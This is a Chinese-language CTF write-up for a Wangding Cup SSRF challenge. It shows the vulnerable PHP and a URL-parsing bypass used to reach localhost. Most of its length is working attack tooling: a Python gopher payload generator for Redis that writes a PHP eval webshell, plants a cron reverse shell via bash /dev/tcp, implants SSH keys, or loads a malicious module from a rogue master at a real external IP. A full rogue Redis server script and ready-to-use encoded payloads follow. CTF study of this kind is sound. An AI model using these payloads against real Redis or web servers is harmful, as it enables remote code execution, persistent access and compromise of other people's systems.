网鼎杯玄武组题目,ssrf代码
<?php
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}
function safe_request_url($url)
{
if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
if(isset($_GET['url'])){
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
}
else{
highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>根据提示需要读取hint.php的内容
http://39.97.160.127/?url=http://baidu.com@0.0.0.0:80@lgr/hint.php 可以读取到文件内容

提示了redis密码是test,应该是要用ssrf打redis,我们直接打rce
先使用dict探测6379端口,提示noauth,需要密码

http://39.97.160.127/?url=dict://baidu.com@0.0.0.0:6379@lgr/AUTH%20test
出现了两个ok,说明密码正确

使用脚本生成ssrf redis rce 的payload
#!/usr/local/bin python
#coding=utf8
try:
from urllib import quote
except:
from urllib.parse import quote
def generate_info(passwd):
cmd=[
"info",
"quit"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
return cmd
def generate_shell(filename,path,passwd,payload):
cmd=["flushall",
"set 1 {}".format(payload),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save",
"quit"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
return cmd
def generate_reverse(filename,path,passwd,payload): # centos
cmd=["flushall",
"set 1 {}".format(payload),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save",
"quit"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
return cmd
def generate_sshkey(filename,path,passwd,payload):
cmd=["flushall",
"set 1 {}".format(payload),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save",
"quit"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
return cmd
def generate_rce(lhost,lport,passwd,command="cat /etc/passwd"):
exp_filename="exp.so"
cmd=[
"SLAVEOF {} {}".format(lhost,lport),
"CONFIG SET dir /tmp/",
"config set dbfilename {}".format(exp_filename),
"MODULE LOAD /tmp/{}".format(exp_filename),
"system.exec {}".format(command.replace(" ","${IFS}")),
# "SLAVEOF NO ONE",
# "CONFIG SET dbfilename dump.rdb",
# "system.exec rm${IFS}/tmp/{}".format(exp_filename),
# "MODULE UNLOAD system",
"quit"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
return cmd
def rce_cleanup():
exp_filename="exp.so"
cmd=[
"SLAVEOF NO ONE",
"CONFIG SET dbfilename dump.rdb",
"system.exec rm /tmp/{}".format(exp_filename).replace(" ","${IFS}"),
"MODULE UNLOAD system",
"quit"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
return cmd
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x)))+CRLF+x
cmd+=CRLF
return cmd
def generate_payload(passwd,mode):
payload="test"
if mode ==0:
filename="shell.php"
path="/var/www/html"
shell="\n\n<?=eval($_GET[0]);?>\n\n"
cmd=generate_shell(filename,path,passwd,shell)
elif mode==1:
filename="root"
path="/var/spool/cron/"
shell="\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.1.1/2333 0>&1\n\n"
cmd=generate_reverse(filename,path,passwd,shell.replace(" ","^"))
elif mode==2:
filename="authorized_keys"
path="/root/.ssh/"
pubkey="\n\nssh-rsa "
cmd=generate_sshkey(filename,path,passwd,pubkey.replace(" ","^"))
elif mode==3:
lhost="122.51.254.197"
lport="5555"
command="whoami"
cmd=generate_rce(lhost,lport,passwd,command)
elif mode==31:
cmd=rce_cleanup()
elif mode==4:
cmd=generate_info(passwd)
protocol="gopher://"
ip="127.0.0.1"
port="6379"
payload=protocol+ip+":"+port+"/_"
for x in cmd:
payload += quote(redis_format(x).replace("^"," "))
return payload
if __name__=="__main__":
# 0 for webshell ; 1 for re shell ; 2 for ssh key ;
# 3 for redis rce ; 31 for rce clean up
# 4 for info
# suggest cleaning up when mode 3 used
mode=3
# input auth passwd or leave blank for no pw
passwd = 'test'
p=generate_payload(passwd,mode)
print(p)

gopher://127.0.0.1:6379/_%2A2%0D%0A%244%0D%0AAUTH%0D%0A%244%0D%0Atest%0D%0A%2A3%0D%0A%247%0D%0ASLAVEOF%0D%0A%2414%0D%0A122.51.254.197%0D%0A%244%0D%0A5555%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%245%0D%0A/tmp/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%246%0D%0Aexp.so%0D%0A%2A3%0D%0A%246%0D%0AMODULE%0D%0A%244%0D%0ALOAD%0D%0A%2411%0D%0A/tmp/exp.so%0D%0A%2A2%0D%0A%2411%0D%0Asystem.exec%0D%0A%242%0D%0Aid%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A
配置好redis rogue 服务器的ip和端口 ,还有执行的命令
在自己的服务器上启动redis rogue server,代码如下
import socket
import time
CRLF="\r\n"
payload=open("exp.so","rb").read()
exp_filename="exp.so"
def redis_format(arr):
global CRLF
global payload
redis_arr=arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len(x))+CRLF+x
cmd+=CRLF
return cmd
def redis_connect(rhost,rport):
sock=socket.socket()
sock.connect((rhost,rport))
return sock
def send(sock,cmd):
sock.send(redis_format(cmd))
print(sock.recv(1024).decode("utf-8"))
def interact_shell(sock):
flag=True
try:
while flag:
shell=raw_input("\033[1;32;40m[*]\033[0m ")
shell=shell.replace(" ","${IFS}")
if shell=="exit" or shell=="quit":
flag=False
else:
send(sock,"system.exec {}".format(shell))
except KeyboardInterrupt:
return
def RogueServer(lport):
global CRLF
global payload
flag=True
result=""
sock=socket.socket()
sock.bind(("0.0.0.0",lport))
sock.listen(10)
clientSock, address = sock.accept()
while flag:
data = clientSock.recv(1024)
if "PING" in data:
result="+PONG"+CRLF
clientSock.send(result)
flag=True
elif "REPLCONF" in data:
result="+OK"+CRLF
clientSock.send(result)
flag=True
elif "PSYNC" in data or "SYNC" in data:
result = "+FULLRESYNC " + "a" * 40 + " 1" + CRLF
result += "$" + str(len(payload)) + CRLF
result = result.encode()
result += payload
result += CRLF
clientSock.send(result)
flag=False
if __name__=="__main__":
lhost="122.51.254.197"
lport=5555
RogueServer(lport)还需要一个exp.so文件,放在脚本同目录下,exp.so下载地址

然后启动脚本,监听请求

对刚才生成的payload host部分进行替换,
gopher://127.0.0.1:6379/ 替换为
gopher://baidu.com@0.0.0.0:6379@lgr/
得到
gopher://baidu.com@0.0.0.0:6379@lgr/_%2A2%0D%0A%244%0D%0AAUTH%0D%0A%244%0D%0Atest%0D%0A%2A3%0D%0A%247%0D%0ASLAVEOF%0D%0A%2414%0D%0A122.51.254.197%0D%0A%244%0D%0A5555%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%245%0D%0A/tmp/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%246%0D%0Aexp.so%0D%0A%2A3%0D%0A%246%0D%0AMODULE%0D%0A%244%0D%0ALOAD%0D%0A%2411%0D%0A/tmp/exp.so%0D%0A%2A2%0D%0A%2411%0D%0Asystem.exec%0D%0A%242%0D%0Aid%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A
然后进行对payload进行urlencode,得到
gopher%3a%2f%2fbaidu.com%400.0.0.0%3a6379%40lgr%2f_%252A2%250D%250A%25244%250D%250AAUTH%250D%250A%25244%250D%250Atest%250D%250A%252A3%250D%250A%25247%250D%250ASLAVEOF%250D%250A%252414%250D%250A122.51.254.197%250D%250A%25244%250D%250A5555%250D%250A%252A4%250D%250A%25246%250D%250ACONFIG%250D%250A%25243%250D%250ASET%250D%250A%25243%250D%250Adir%250D%250A%25245%250D%250A%2ftmp%2f%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25246%250D%250Aexp.so%250D%250A%252A3%250D%250A%25246%250D%250AMODULE%250D%250A%25244%250D%250ALOAD%250D%250A%252411%250D%250A%2ftmp%2fexp.so%250D%250A%252A2%250D%250A%252411%250D%250Asystem.exec%250D%250A%25242%250D%250Aid%250D%250A%252A1%250D%250A%25244%250D%250Aquit%250D%250A
放到url参数里,就能执行命令了
